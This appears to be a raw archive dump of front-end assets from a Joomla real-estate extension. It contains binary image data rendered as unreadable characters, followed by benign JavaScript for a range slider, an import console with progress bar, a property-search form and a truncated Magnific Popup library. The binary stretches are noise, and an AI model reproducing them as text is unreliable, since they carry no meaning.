�_�i����,�j��z^�����C=�!q��=��Q�z����/�z�k�^�ц��Q1�[v0b((p�����Z��3��Q1A���$��hT�@����&%����MSD�r��$-S���]�ӱ��+�r�w�ߗ��ާa�@�y5��O.
C3D�h�$$q���*֞�d3���_/K������-�k��Oxҋ{g�f�m�d>X2>�M~���ϣ2���jZe�n��:$�H�$gG�G��l�c�)�J9D�X]�]x[/�/=�R1��Iv��v�������[��˵�3��;
�I���&��5��L��u�潶��-
���IEND�B`�PK0��[���!!images/spinner.gifnu�[���GIF89a�?
%%%666DDDLLLTTT[[[dddlllttt{{{������������������������������������������������������������������������������������������������������������������������������������������������������������!�NETSCAPE2.0!�?,�����n
��RC�~o�Y-1����J��eF�$�v1_oa��SFr��29?, 8:BS".J#EJ')C-W7"#
,W6C.&>K,�C9!;K
6?>$�'75-8)�+b1)#/(?5)�?:>!?!4W1/?
>8�K>�?$�:IBA!�?,
X��p��$zD�+��!=�3�����~/�T))@B�X�r
��C Ȅ���� w6D(>IB$0�B1�D3,�?:%�A!�?,Q��pXi�B��c~6CY[@~�g#�l���A������PT:ȆE�~'�F�D2:C<7
>B.%HMC"3�1WBA!�?,
O����L�H�,�M?ܢ��U2?
4B0%Y���*@~7�j��P�/D�~���<I�G��.
�j�?HA!�?,Z����� ���T��
�#���6��%����%,�V$G��0 =ݣ�
����][
w-w"{?>JH).{?(<{�?A!�?,P��o�Y �_);^d��O�X�ʱ8"��$�
g�r�)�12��D��b8
?*=B1f.�f6^A!�?,
O��p��ňB,C�w�ȅ���FU!�2�d�2��1A�H�ߢ�x�$-������
@~-X=? ?(D�0D
=?NCA!�?,
V��pH̸��S
ɼ�>�SH�T.��YB8dDA��6����
)h��B� d���+�h ? ?,C"+?=2"C=a�<?:DA!�?,Q��p��
�X��?��XS�'��HL!��
6Ԥ�Ӱ~�_�H)@�Z�J �?
0P'??
>5qG>7BOGA!�?,
N��0� �BE�p
!�C�zZS+�䞞_�`�����~�ꩠ�8V�H�(?4G.M??6zG_?HA!�?,
U����3��ȟ�!B�_��vѣ��u
�SV1 FY�꓾M
ݘ�]>�Z�X*�X
"/I8??PG/)??8i$>?A!�?,S����W��W���O�\~AWP�~(�9�Fñ6�j�s�|�G��
!
5!'7?&*?0)#C:?!C1/?
A;PK0��[�����images/sort_asc.pngnu�[����PNG
IHDR�%sRGB���PLTE�g��tRNS@��fbKGD�H pHYs��IDAT�c`>y�
���TIEND�B`�PK0��[�(�+��images/media_trash.pngnu�[����PNG
IHDRer�sRGB���bKGD�C� pHYs��tIME�7,+0��FIDAT8�c`�
0���?9zI4�,sX�r��022�0k�7�41e�G��d�Y�HFN�����T��IEND�B`�PK0��[C���js/biSlider.jsnu�[���/*
Based on Mootools 1.1 Slider.js
Author : Sylvain Philip
License:
MIT-style license.
*/
/*
Class: BiSlider
Creates a slider with tree elements: two knobs and a container. Returns
the values.
Note:
The Slider requires an XHTML doctype.
Arguments:
element - the knobs container
knobMin - the min handle
knobMax - the max handle
options - see Options below
Options:
steps - the number of steps for your slider.
mode - either 'horizontal' or 'vertical'. defaults to
horizontal.
offset - relative offset for knob position. default to 0.
Events:
onChange - a function to fire when the value changes.
onComplete - a function to fire when you're done dragging.
onTick - optionally, you can alter the onTick behavior, for example
displaying an effect of the knob moving to the desired position.
Passes as parameter the new position.
*/
var BiSlider = new Class({
Implements: [Events, Options],
Binds: ['clickedElement', 'draggedKnob',
'scrolledElement'],
options: {
onChange: Class.empty,
onComplete: Class.empty,
onTick: function(pos){
this.knobMin.setStyle(this.p, pos);
},
mode: 'horizontal',
steps: 100,
offset: 0
},
initialize: function(el, knobMin, knobMax, options){
this.element = document.id(el);
this.element.setStyle('position', 'relative');
this.knobMin = document.id(knobMin);
this.knobMax = document.id(knobMax);
this.setOptions(options);
this.previousChange = -1;
this.previousEnd = -1;
this.step = -1;
// this.element.addEvent('mousedown',
this.clickedElement.bindWithEvent(this));
var mod, offset;
switch(this.options.mode){
case 'horizontal':
this.z = 'x';
this.p = 'left';
mod = {'x': 'left', 'y': false};
offset = 'offsetWidth';
break;
case 'vertical':
this.z = 'y';
this.p = 'top';
mod = {'x': false, 'y': 'top'};
offset = 'offsetHeight';
}
this.max = this.element[offset] - this.knobMin[offset] +
(this.options.offset * 2);
this.half = this.knobMin[offset]/2;
this.getPos = this.element['get' +
this.p.capitalize()].bind(this.element);
this.knobMin.setStyle('position',
'absolute').setStyle(this.p, - this.options.offset);
this.knobMax.setStyle('position',
'absolute').setStyle(this.p, this.max);
this.KnobMinWidth = this.knobMin[offset] + (this.options.offset * 2);
this.knobMaxWidth = this.knobMax[offset] + (this.options.offset * 2);
this.stepMin = this.toStep(- this.options.offset);
this.stepMax = this.toStep(this.max);
var dragMinlim = {};
var dragMaxlim = {};
dragMinlim[this.z] = [- this.options.offset, this.max - this.knobMaxWidth
- this.options.offset];
dragMaxlim[this.z] = [this.KnobMinWidth - this.options.offset, this.max -
this.options.offset];
this.dragMin = new Drag(this.knobMin, {
limit: dragMinlim,
modifiers: mod,
snap: 0,
onStart: function(){
this.draggedKnob('dragMin');
}.bind(this),
onDrag: function(){
this.draggedKnob('dragMin');
}.bind(this),
onComplete: function(){
this.draggedKnob('dragMin');
this.end();
}.bind(this)
});
this.dragMax = new Drag(this.knobMax, {
limit: dragMaxlim,
modifiers: mod,
snap: 0,
onStart: function(){
this.draggedKnob('dragMax');
}.bind(this),
onDrag: function(){
this.draggedKnob('dragMax');
}.bind(this),
onComplete: function(){
this.draggedKnob('dragMax');
this.end();
}.bind(this)
});
if (this.options.initialize) this.options.initialize.call(this);
},
/*
Property: set
The slider will get the step you pass.
Arguments:
step - one integer
*/
set: function(step){
this.step = step.limit(0, this.options.steps);
this.checkStep();
// this.end();
// this.fireEvent('onTick', this.toPosition(this.step));
return this;
},
clickedElement: function(event){
/*
var position = event.page[this.z] - this.getPos() - this.half;
position = position.limit(-this.options.offset, this.max
-this.options.offset);
this.step = this.toStep(position);
this.checkStep();
this.end();
this.fireEvent('onTick', position);
*/
},
draggedKnob: function(knob){
var dragMinValue = this.dragMin.value.now[this.z];
var dragMaxValue = this.dragMax.value.now[this.z];
var lim = {};
if(knob == 'dragMax' ) {
if(dragMinValue) {
lim[this.z] = [dragMinValue + this.KnobMinWidth - this.options.offset,
this.max - this.options.offset];
this.dragMax.limit = lim;
}
this.step = this.toStep(dragMaxValue);
this.stepMax = this.step;
} else {
if(dragMaxValue) {
lim[this.z] = [- this.options.offset, dragMaxValue - this.knobMaxWidth
- this.options.offset];
this.dragMin.limit = lim;
}
this.step = this.toStep(dragMinValue);
this.stepMin = this.step;
}
this.checkStep();
},
checkStep: function(){
if (this.previousChange != this.step){
this.previousChange = this.step;
var steps = {
current : this.step,
minimum : this.stepMin,
maximum : this.stepMax
};
this.fireEvent('onChange', steps);
}
},
end: function(){
if (this.previousEnd !== this.step){
this.previousEnd = this.step;
this.fireEvent('onComplete', this.step + '');
}
},
toStep: function(position){
return Math.round((position + this.options.offset) / this.max *
this.options.steps);
},
toPosition: function(step){
return this.max * step / this.options.steps;
}
});
PK0��[A~^(��
js/console.jsnu�[���/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate
* agency
*
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU/GPL, see LICENSE.txt
*/
+function ($) {
'use strict';
// PROGRESSBAR CLASS DEFINITION
// ============================
var ProgressBar = function (element, options) {
this.progressBar = $(element);
this.options = options;
this.timer = null;
this.startTime = null;
this.step = 0;
}
ProgressBar.DEFAULTS = {
steps : 100,
color : '#fff',
size : 30
}
ProgressBar.prototype.setStep = function(step) {
// if we go over our bound, just ignore it
if (step > this.options.steps) {
return;
}
this.step = step;
var date = new Date();
if (!this.startTime) {
this.startTime = date.getTime() / 1000;
}
var now = date.getTime() / 1000;
var perc = this.step / this.options.steps;
var bar = Math.floor(perc * this.options.size);
var status_bar = "[";
for (var i = 0; i <= bar; i++) {
status_bar += '=';
}
if (bar < this.options.size) {
status_bar += '>';
for (var i = 0; i <= this.options.size - bar; i++) {
status_bar += '\u00A0'; // Unicode non-breaking space
}
} else {
status_bar += '=';
}
var disp = Math.floor(perc * 100);
status_bar += "] " + disp + "% " + this.step +
"/" + this.options.steps;
var rate = (now - this.startTime) / this.step;
var left = this.options.steps - this.step;
var remaining =
Joomla.JText._('COM_JEA_GATEWAY_IMPORT_TIME_REMAINING',
'Time remaining: %d sec.');
var elapsed =
Joomla.JText._('COM_JEA_GATEWAY_IMPORT_TIME_ELAPSED', 'Time
elapsed: %d sec.');
status_bar += " " + remaining.replace('%d',
Math.round(rate * left))
status_bar += " " + elapsed.replace('%d',
Math.round(now - this.startTime))
this.progressBar.text(status_bar);
};
ProgressBar.prototype.gotToNextStep = function() {
this.step++;
this.setStep(this.step);
};
// CONSOLE CLASS DEFINITION
// ========================
var Console = function (element, options) {
this.console = $(element);
this.options = options;
this.progressBars = [];
}
Console.prototype.appendLine = function(message, prefix) {
var text = prefix || '> ';
var className = 'info';
if (message.error) {
text += message.error;
className = 'error';
}
if (message.warning) {
text += message.warning;
className = 'warning';
}
if (message.text)
text += message.text;
var line = $('<p>', {
class: className,
text: text.toString()
});
this.console.append(line);
return line;
};
Console.prototype.addPlaceHolder = function(name) {
var line = $('<p>', {
class: 'placeholder',
id: name
});
this.console.append(line);
return line;
};
Console.prototype.getPlaceHolder = function(name) {
return $('#'+name);
};
Console.prototype.clear = function() {
this.progressBars = null;
this.console.empty();
};
Console.prototype.addProgressBar = function(name, options) {
var progressbarContainer = $('<div>', {
class: 'progressbar',
id: name
});
var options = $.extend({}, ProgressBar.DEFAULTS, typeof options ==
'object' && options)
this.console.append(progressbarContainer);
this.progressBars[name] = new ProgressBar(progressbarContainer, options);
return this.progressBars[name];
};
Console.prototype.getProgressBar = function(name) {
if (this.progressBars[name]) {
return this.progressBars[name];
}
return false;
};
// CONSOLE PLUGIN DEFINITION
// ============================
function Plugin(options) {
var $this = $(this)
var instance = $this.data('jea.console')
if (!instance) $this.data('jea.console', (instance = new
Console(this, options)))
return instance;
}
var old = $.fn.console
$.fn.console = Plugin
$.fn.console.Constructor = Console
// CONSOLE NO CONFLICT
// ====================
$.fn.console.noConflict = function() {
$.fn.console = old
return this
}
}(jQuery);
PK0��[Q���js/search.jsnu�[���/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate
* agency
*
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU/GPL, see LICENSE.txt
*/
/**
* This implementation works with Mootools framework
* We keep this file for backward compatibility with old templates
overriding JEA layouts
*/
JEASearch = new Class({
Implements: [Options],
form: null,
forceUpdateLists : false,
options: {
fields : {
filter_amenities : [],
filter_area_id : 0,
filter_bathrooms_min : 0,
filter_bedrooms_min : 0,
filter_budget_max : 0,
filter_budget_min : 0,
filter_condition : 0,
filter_department_id : 0,
filter_floor : '',
filter_heatingtype : 0,
filter_hotwatertype : 0,
filter_land_space_max : 0,
filter_land_space_min : 0,
filter_living_space_max :0,
filter_living_space_min : 0,
filter_orientation : 0,
filter_rooms_min : 0,
filter_search : "",
filter_town_id : 0,
filter_transaction_type : "",
filter_type_id : 0,
filter_zip_codes : ""
},
useAJAX : false
},
initialize: function(formId, options) {
this.form = document.id(formId);
this.setOptions(options);
this.forceUpdateLists = true;
if (this.options.useAJAX) {
for (var fieldName in this.options.fields) {
if (fieldName == 'filter_amenities') {
fieldName = 'filter_amenities[]';
}
this.initFieldBehavior(fieldName);
}
}
this.form.addEvent('reset', this.reset.bind(this));
},
initFieldBehavior : function(fieldName) {
if (this.form[fieldName]) {
if (typeOf(this.form[fieldName]) == 'element') {
var field = document.id(this.form[fieldName]);
this.options.fields[fieldName] = field.get('value');
field.addEvent('change', function(event) {
this.forceUpdateLists = false;
this.options.fields[fieldName] = field.get('value');
this.refresh();
}.bind(this));
} else if (typeOf(this.form[fieldName]) == 'collection') {
if (fieldName == 'filter_amenities[]') {
Array.from(this.form['filter_amenities[]']).each(function(item)
{
if (Browser.ie && Browser.version < 9){
item = document.id(item);
}
item.addEvent('change', function(event) {
var index =
this.options.fields.filter_amenities.indexOf(item.get('value'));
this.forceUpdateLists = true;
if (item.get('checked') && index == -1) {
this.options.fields.filter_amenities.push(item.get('value'));
} else if (!item.get('checked') && index > -1){
this.options.fields.filter_amenities.splice(index, 1);
}
this.refresh();
}.bind(this));
}.bind(this));
} else if (fieldName == 'filter_transaction_type') {
var transTypes =
document.getElements('[name=filter_transaction_type]');
transTypes.each(function(item) {
item.addEvent('change', function(event) {
this.forceUpdateLists = true;
if (item.get('checked')) {
this.options.fields.filter_transaction_type =
item.get('value');
}
this.refresh();
}.bind(this));
}.bind(this));
}
}
}
},
refresh: function() {
if (this.options.useAJAX) {
var jSonRequest = new Request.JSON({
url:
'index.php?option=com_jea&task=properties.search&format=json',
onSuccess: function(response) {
this.appendList('filter_type_id', response.types);
this.appendList('filter_department_id',
response.departments);
this.appendList('filter_town_id',response.towns);
this.appendList('filter_area_id', response.areas);
this.form.getElements('.jea-counter-result').each(function(item){
item.set('text', response.total);
});
}.bind(this)
});
jSonRequest.post(this.options.fields);
}
},
reset : function() {
this.options.fields = {
filter_amenities : [],
filter_area_id : 0,
filter_bathrooms_min : 0,
filter_bedrooms_min : 0,
filter_budget_max : 0,
filter_budget_min : 0,
filter_condition : 0,
filter_department_id : 0,
filter_floor : '',
filter_heatingtype : 0,
filter_hotwatertype : 0,
filter_land_space_max : 0,
filter_land_space_min : 0,
filter_living_space_max :0,
filter_living_space_min : 0,
filter_orientation : 0,
filter_rooms_min : 0,
filter_search : "",
filter_town_id : 0,
// Keep selected transaction type
filter_transaction_type : this.options.fields.filter_transaction_type,
filter_type_id : 0,
filter_zip_codes : ""
};
for (var fieldName in this.options.fields) {
if (this.form[fieldName]) {
if (typeOf(this.form[fieldName]) == 'element') {
var field = document.id(this.form[fieldName]);
if (field.get('tag') == 'select') {
field.set('selectedIndex', 0);
}
field.set('value', '');
} else if (typeOf(this.form[fieldName]) == 'collection') {
Array.from(this.form[fieldName]).each(function(item) {
item.set('checked', '');
});
}
}
}
this.refresh();
},
appendList : function(selectName, objectList) {
if (this.form[selectName]) {
var selectElt = document.id(this.form[selectName]);
// Update the list only if its value equals 0
// Or if this.forceUpdateLists is set to true
if (selectElt.get('value') == 0 || this.forceUpdateLists) {
var value = selectElt.get('value');
// Save the first option element
var first = selectElt.getFirst().clone();
selectElt.empty();
if (first.get('value') == 0) {
selectElt.adopt(first);
}
for (var i in objectList) {
if (objectList[i].text) {
var option = new Element('option', objectList[i]);
if (objectList[i].value == value) {
option.setProperty('selected', 'selected');
}
selectElt.adopt(option);
}
}
}
}
}
});
PK0��[&�^���js/jquery.magnific-popup.jsnu�[���/*!
Magnific Popup - v1.1.0 - 2016-02-20
* http://dimsemenov.com/plugins/magnific-popup/
* Copyright (c) 2016 Dmitry Semenov; */
;(function (factory) {
if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define(['jquery'], factory);
} else if (typeof exports === 'object') {
// Node/CommonJS
factory(require('jquery'));
} else {
// Browser globals
factory(window.jQuery || window.Zepto);
}
}(function($) {
/*>>core*/
/**
*
* Magnific Popup Core JS file
*
*/
/**
* Private static constants
*/
var CLOSE_EVENT = 'Close',
BEFORE_CLOSE_EVENT = 'BeforeClose',
AFTER_CLOSE_EVENT = 'AfterClose',
BEFORE_APPEND_EVENT = 'BeforeAppend',
MARKUP_PARSE_EVENT = 'MarkupParse',
OPEN_EVENT = 'Open',
CHANGE_EVENT = 'Change',
NS = 'mfp',
EVENT_NS = '.' + NS,
READY_CLASS = 'mfp-ready',
REMOVING_CLASS = 'mfp-removing',
PREVENT_CLOSE_CLASS = 'mfp-prevent-close';
/**
* Private vars
*/
/*jshint -W079 */
var mfp, // As we have only one instance of MagnificPopup object, we define
it locally to not to use 'this'
MagnificPopup = function(){},
_isJQ = !!(window.jQuery),
_prevStatus,
_window = $(window),
_document,
_prevContentType,
_wrapClasses,
_currPopupType;
/**
* Private functions
*/
var _mfpOn = function(name, f) {
mfp.ev.on(NS + name + EVENT_NS, f);
},
_getEl = function(className, appendTo, html, raw) {
var el = document.createElement('div');
el.className = 'mfp-'+className;
if(html) {
el.innerHTML = html;
}
if(!raw) {
el = $(el);
if(appendTo) {
el.appendTo(appendTo);
}
} else if(appendTo) {
appendTo.appendChild(el);
}
return el;
},
_mfpTrigger = function(e, data) {
mfp.ev.triggerHandler(NS + e, data);
if(mfp.st.callbacks) {
// converts "mfpEventName" to "eventName" callback
and triggers it if it's present
e = e.charAt(0).toLowerCase() + e.slice(1);
if(mfp.st.callbacks[e]) {
mfp.st.callbacks[e].apply(mfp, $.isArray(data) ? data : [data]);
}
}
},
_getCloseBtn = function(type) {
if(type !== _currPopupType || !mfp.currTemplate.closeBtn) {
mfp.currTemplate.closeBtn = $(
mfp.st.closeMarkup.replace('%title%', mfp.st.tClose ) );
_currPopupType = type;
}
return mfp.currTemplate.closeBtn;
},
// Initialize Magnific Popup only when called at least once
_checkInstance = function() {
if(!$.magnificPopup.instance) {
/*jshint -W020 */
mfp = new MagnificPopup();
mfp.init();
$.magnificPopup.instance = mfp;
}
},
// CSS transition detection,
http://stackoverflow.com/questions/7264899/detect-css-transitions-using-javascript-and-without-modernizr
supportsTransitions = function() {
var s = document.createElement('p').style, // 's' for
style. better to create an element if body yet to exist
v = ['ms','O','Moz','Webkit'];
// 'v' for vendor
if( s['transition'] !== undefined ) {
return true;
}
while( v.length ) {
if( v.pop() + 'Transition' in s ) {
return true;
}
}
return false;
};
/**
* Public functions
*/
MagnificPopup.prototype = {
constructor: MagnificPopup,
/**
* Initializes Magnific Popup plugin.
* This function is triggered only once when $.fn.magnificPopup or
$.magnificPopup is executed
*/
init: function() {
var appVersion = navigator.appVersion;
mfp.isLowIE = mfp.isIE8 = document.all &&
!document.addEventListener;
mfp.isAndroid = (/android/gi).test(appVersion);
mfp.isIOS = (/iphone|ipad|ipod/gi).test(appVersion);
mfp.supportsTransition = supportsTransitions();
// We disable fixed positioned lightbox on devices that don't handle
it nicely.
// If you know a better way of detecting this - let me know.
mfp.probablyMobile = (mfp.isAndroid || mfp.isIOS || /(Opera
Mini)|Kindle|webOS|BlackBerry|(Opera Mobi)|(Windows
Phone)|IEMobile/i.test(navigator.userAgent) );
_document = $(document);
mfp.popupsCache = {};
},
/**
* Opens popup
* @param data [description]
*/
open: function(data) {
var i;
if(data.isObj === false) {
// convert jQuery collection to array to avoid conflicts later
mfp.items = data.items.toArray();
mfp.index = 0;
var items = data.items,
item;
for(i = 0; i < items.length; i++) {
item = items[i];
if(item.parsed) {
item = item.el[0];
}
if(item === data.el[0]) {
mfp.index = i;
break;
}
}
} else {
mfp.items = $.isArray(data.items) ? data.items : [data.items];
mfp.index = data.index || 0;
}
// if popup is already opened - we just update the content
if(mfp.isOpen) {
mfp.updateItemHTML();
return;
}
mfp.types = [];
_wrapClasses = '';
if(data.mainEl && data.mainEl.length) {
mfp.ev = data.mainEl.eq(0);
} else {
mfp.ev = _document;
}
if(data.key) {
if(!mfp.popupsCache[data.key]) {
mfp.popupsCache[data.key] = {};
}
mfp.currTemplate = mfp.popupsCache[data.key];
} else {
mfp.currTemplate = {};
}
mfp.st = $.extend(true, {}, $.magnificPopup.defaults, data );
mfp.fixedContentPos = mfp.st.fixedContentPos === 'auto' ?
!mfp.probablyMobile : mfp.st.fixedContentPos;
if(mfp.st.modal) {
mfp.st.closeOnContentClick = false;
mfp.st.closeOnBgClick = false;
mfp.st.showCloseBtn = false;
mfp.st.enableEscapeKey = false;
}
// Building markup
// main containers are created only once
if(!mfp.bgOverlay) {
// Dark overlay
mfp.bgOverlay = _getEl('bg').on('click'+EVENT_NS,
function() {
mfp.close();
});
mfp.wrap = _getEl('wrap').attr('tabindex',
-1).on('click'+EVENT_NS, function(e) {
if(mfp._checkIfClose(e.target)) {
mfp.close();
}
});
mfp.container = _getEl('container', mfp.wrap);
}
mfp.contentContainer = _getEl('content');
if(mfp.st.preloader) {
mfp.preloader = _getEl('preloader', mfp.container,
mfp.st.tLoading);
}
// Initializing modules
var modules = $.magnificPopup.modules;
for(i = 0; i < modules.length; i++) {
var n = modules[i];
n = n.charAt(0).toUpperCase() + n.slice(1);
mfp['init'+n].call(mfp);
}
_mfpTrigger('BeforeOpen');
if(mfp.st.showCloseBtn) {
// Close button
if(!mfp.st.closeBtnInside) {
mfp.wrap.append( _getCloseBtn() );
} else {
_mfpOn(MARKUP_PARSE_EVENT, function(e, template, values, item) {
values.close_replaceWith = _getCloseBtn(item.type);
});
_wrapClasses += ' mfp-close-btn-in';
}
}
if(mfp.st.alignTop) {
_wrapClasses += ' mfp-align-top';
}
if(mfp.fixedContentPos) {
mfp.wrap.css({
overflow: mfp.st.overflowY,
overflowX: 'hidden',
overflowY: mfp.st.overflowY
});
} else {
mfp.wrap.css({
top: _window.scrollTop(),
position: 'absolute'
});
}
if( mfp.st.fixedBgPos === false || (mfp.st.fixedBgPos ===
'auto' && !mfp.fixedContentPos) ) {
mfp.bgOverlay.css({
height: _document.height(),
position: 'absolute'
});
}
if(mfp.st.enableEscapeKey) {
// Close on ESC key
_document.on('keyup' + EVENT_NS, function(e) {
if(e.keyCode === 27) {
mfp.close();
}
});
}
_window.on('resize' + EVENT_NS, function() {
mfp.updateSize();
});
if(!mfp.st.closeOnContentClick) {
_wrapClasses += ' mfp-auto-cursor';
}
if(_wrapClasses)
mfp.wrap.addClass(_wrapClasses);
// this triggers recalculation of layout, so we get it once to not to
trigger twice
var windowHeight = mfp.wH = _window.height();
var windowStyles = {};
if( mfp.fixedContentPos ) {
if(mfp._hasScrollBar(windowHeight)){
var s = mfp._getScrollbarSize();
if(s) {
windowStyles.marginRight = s;
}
}
}
if(mfp.fixedContentPos) {
if(!mfp.isIE7) {
windowStyles.overflow = 'hidden';
} else {
// ie7 double-scroll bug
$('body, html').css('overflow',
'hidden');
}
}
var classesToadd = mfp.st.mainClass;
if(mfp.isIE7) {
classesToadd += ' mfp-ie7';
}
if(classesToadd) {
mfp._addClassToMFP( classesToadd );
}
// add content
mfp.updateItemHTML();
_mfpTrigger('BuildControls');
// remove scrollbar, add margin e.t.c
$('html').css(windowStyles);
// add everything to DOM
mfp.bgOverlay.add(mfp.wrap).prependTo( mfp.st.prependTo ||
$(document.body) );
// Save last focused element
mfp._lastFocusedEl = document.activeElement;
// Wait for next cycle to allow CSS transition
setTimeout(function() {
if(mfp.content) {
mfp._addClassToMFP(READY_CLASS);
mfp._setFocus();
} else {
// if content is not defined (not loaded e.t.c) we add class only for
BG
mfp.bgOverlay.addClass(READY_CLASS);
}
// Trap the focus in popup
_document.on('focusin' + EVENT_NS, mfp._onFocusIn);
}, 16);
mfp.isOpen = true;
mfp.updateSize(windowHeight);
_mfpTrigger(OPEN_EVENT);
return data;
},
/**
* Closes the popup
*/
close: function() {
if(!mfp.isOpen) return;
_mfpTrigger(BEFORE_CLOSE_EVENT);
mfp.isOpen = false;
// for CSS3 animation
if(mfp.st.removalDelay && !mfp.isLowIE &&
mfp.supportsTransition ) {
mfp._addClassToMFP(REMOVING_CLASS);
setTimeout(function() {
mfp._close();
}, mfp.st.removalDelay);
} else {
mfp._close();
}
},
/**
* Helper for close() function
*/
_close: function() {
_mfpTrigger(CLOSE_EVENT);
var classesToRemove = REMOVING_CLASS + ' ' + READY_CLASS +
' ';
mfp.bgOverlay.detach();
mfp.wrap.detach();
mfp.container.empty();
if(mfp.st.mainClass) {
classesToRemove += mfp.st.mainClass + ' ';
}
mfp._removeClassFromMFP(classesToRemove);
if(mfp.fixedContentPos) {
var windowStyles = {marginRight: ''};
if(mfp.isIE7) {
$('body, html').css('overflow', '');
} else {
windowStyles.overflow = '';
}
$('html').css(windowStyles);
}
_document.off('keyup' + EVENT_NS + ' focusin' +
EVENT_NS);
mfp.ev.off(EVENT_NS);
// clean up DOM elements that aren't removed
mfp.wrap.attr('class',
'mfp-wrap').removeAttr('style');
mfp.bgOverlay.attr('class', 'mfp-bg');
mfp.container.attr('class', 'mfp-container');
// remove close button from target element
if(mfp.st.showCloseBtn &&
(!mfp.st.closeBtnInside || mfp.currTemplate[mfp.currItem.type] === true))
{
if(mfp.currTemplate.closeBtn)
mfp.currTemplate.closeBtn.detach();
}
if(mfp.st.autoFocusLast && mfp._lastFocusedEl) {
$(mfp._lastFocusedEl).focus(); // put tab focus back
}
mfp.currItem = null;
mfp.content = null;
mfp.currTemplate = null;
mfp.prevHeight = 0;
_mfpTrigger(AFTER_CLOSE_EVENT);
},
updateSize: function(winHeight) {
if(mfp.isIOS) {
// fixes iOS nav bars
https://github.com/dimsemenov/Magnific-Popup/issues/2
var zoomLevel = document.documentElement.clientWidth /
window.innerWidth;
var height = window.innerHeight * zoomLevel;
mfp.wrap.css('height', height);
mfp.wH = height;
} else {
mfp.wH = winHeight || _window.height();
}
// Fixes #84: popup incorrectly positioned with position:relative on body
if(!mfp.fixedContentPos) {
mfp.wrap.css('height', mfp.wH);
}
_mfpTrigger('Resize');
},
/**
* Set content of popup based on current index
*/
updateItemHTML: function() {
var item = mfp.items[mfp.index];
// Detach and perform modifications
mfp.contentContainer.detach();
if(mfp.content)
mfp.content.detach();
if(!item.parsed) {
item = mfp.parseEl( mfp.index );
}
var type = item.type;
_mfpTrigger('BeforeChange', [mfp.currItem ? mfp.currItem.type :
'', type]);
// BeforeChange event works like so:
// _mfpOn('BeforeChange', function(e, prevType, newType) { });
mfp.currItem = item;
if(!mfp.currTemplate[type]) {
var markup = mfp.st[type] ? mfp.st[type].markup : false;
// allows to modify markup
_mfpTrigger('FirstMarkupParse', markup);
if(markup) {
mfp.currTemplate[type] = $(markup);
} else {
// if there is no markup found we just define that template is parsed
mfp.currTemplate[type] = true;
}
}
if(_prevContentType && _prevContentType !== item.type) {
mfp.container.removeClass('mfp-'+_prevContentType+'-holder');
}
var newContent = mfp['get' + type.charAt(0).toUpperCase() +
type.slice(1)](item, mfp.currTemplate[type]);
mfp.appendContent(newContent, type);
item.preloaded = true;
_mfpTrigger(CHANGE_EVENT, item);
_prevContentType = item.type;
// Append container back after its content changed
mfp.container.prepend(mfp.contentContainer);
_mfpTrigger('AfterChange');
},
/**
* Set HTML content of popup
*/
appendContent: function(newContent, type) {
mfp.content = newContent;
if(newContent) {
if(mfp.st.showCloseBtn && mfp.st.closeBtnInside &&
mfp.currTemplate[type] === true) {
// if there is no markup, we just append close button element inside
if(!mfp.content.find('.mfp-close').length) {
mfp.content.append(_getCloseBtn());
}
} else {
mfp.content = newContent;
}
} else {
mfp.content = '';
}
_mfpTrigger(BEFORE_APPEND_EVENT);
mfp.container.addClass('mfp-'+type+'-holder');
mfp.contentContainer.append(mfp.content);
},
/**
* Creates Magnific Popup data object based on given data
* @param {int} index Index of item to parse
*/
parseEl: function(index) {
var item = mfp.items[index],
type;
if(item.tagName) {
item = { el: $(item) };
} else {
type = item.type;
item = { data: item, src: item.src };
}
if(item.el) {
var types = mfp.types;
// check for 'mfp-TYPE' class
for(var i = 0; i < types.length; i++) {
if( item.el.hasClass('mfp-'+types[i]) ) {
type = types[i];
break;
}
}
item.src = item.el.attr('data-mfp-src');
if(!item.src) {
item.src = item.el.attr('href');
}
}
item.type = type || mfp.st.type || 'inline';
item.index = index;
item.parsed = true;
mfp.items[index] = item;
_mfpTrigger('ElementParse', item);
return mfp.items[index];
},
/**
* Initializes single popup or a group of popups
*/
addGroup: function(el, options) {
var eHandler = function(e) {
e.mfpEl = this;
mfp._openClick(e, el, options);
};
if(!options) {
options = {};
}
var eName = 'click.magnificPopup';
options.mainEl = el;
if(options.items) {
options.isObj = true;
el.off(eName).on(eName, eHandler);
} else {
options.isObj = false;
if(options.delegate) {
el.off(eName).on(eName, options.delegate , eHandler);
} else {
options.items = el;
el.off(eName).on(eName, eHandler);
}
}
},
_openClick: function(e, el, options) {
var midClick = options.midClick !== undefined ? options.midClick :
$.magnificPopup.defaults.midClick;
if(!midClick && ( e.which === 2 || e.ctrlKey || e.metaKey ||
e.altKey || e.shiftKey ) ) {
return;
}
var disableOn = options.disableOn !== undefined ? options.disableOn :
$.magnificPopup.defaults.disableOn;
if(disableOn) {
if($.isFunction(disableOn)) {
if( !disableOn.call(mfp) ) {
return true;
}
} else { // else it's number
if( _window.width() < disableOn ) {
return true;
}
}
}
if(e.type) {
e.preventDefault();
// This will prevent popup from closing if element is inside and popup
is already opened
if(mfp.isOpen) {
e.stopPropagation();
}
}
options.el = $(e.mfpEl);
if(options.delegate) {
options.items = el.find(options.delegate);
}
mfp.open(options);
},
/**
* Updates text on preloader
*/
updateStatus: function(status, text) {
if(mfp.preloader) {
if(_prevStatus !== status) {
mfp.container.removeClass('mfp-s-'+_prevStatus);
}
if(!text && status === 'loading') {
text = mfp.st.tLoading;
}
var data = {
status: status,
text: text
};
// allows to modify status
_mfpTrigger('UpdateStatus', data);
status = data.status;
text = data.text;
mfp.preloader.html(text);
mfp.preloader.find('a').on('click', function(e) {
e.stopImmediatePropagation();
});
mfp.container.addClass('mfp-s-'+status);
_prevStatus = status;
}
},
/*
"Private" helpers that aren't private at all
*/
// Check to close popup or not
// "target" is an element that was clicked
_checkIfClose: function(target) {
if($(target).hasClass(PREVENT_CLOSE_CLASS)) {
return;
}
var closeOnContent = mfp.st.closeOnContentClick;
var closeOnBg = mfp.st.closeOnBgClick;
if(closeOnContent && closeOnBg) {
return true;
} else {
// We close the popup if click is on close button or on preloader. Or if
there is no content.
if(!mfp.content || $(target).hasClass('mfp-close') ||
(mfp.preloader && target === mfp.preloader[0]) ) {
return true;
}
// if click is outside the content
if( (target !== mfp.content[0] && !$.contains(mfp.content[0],
target)) ) {
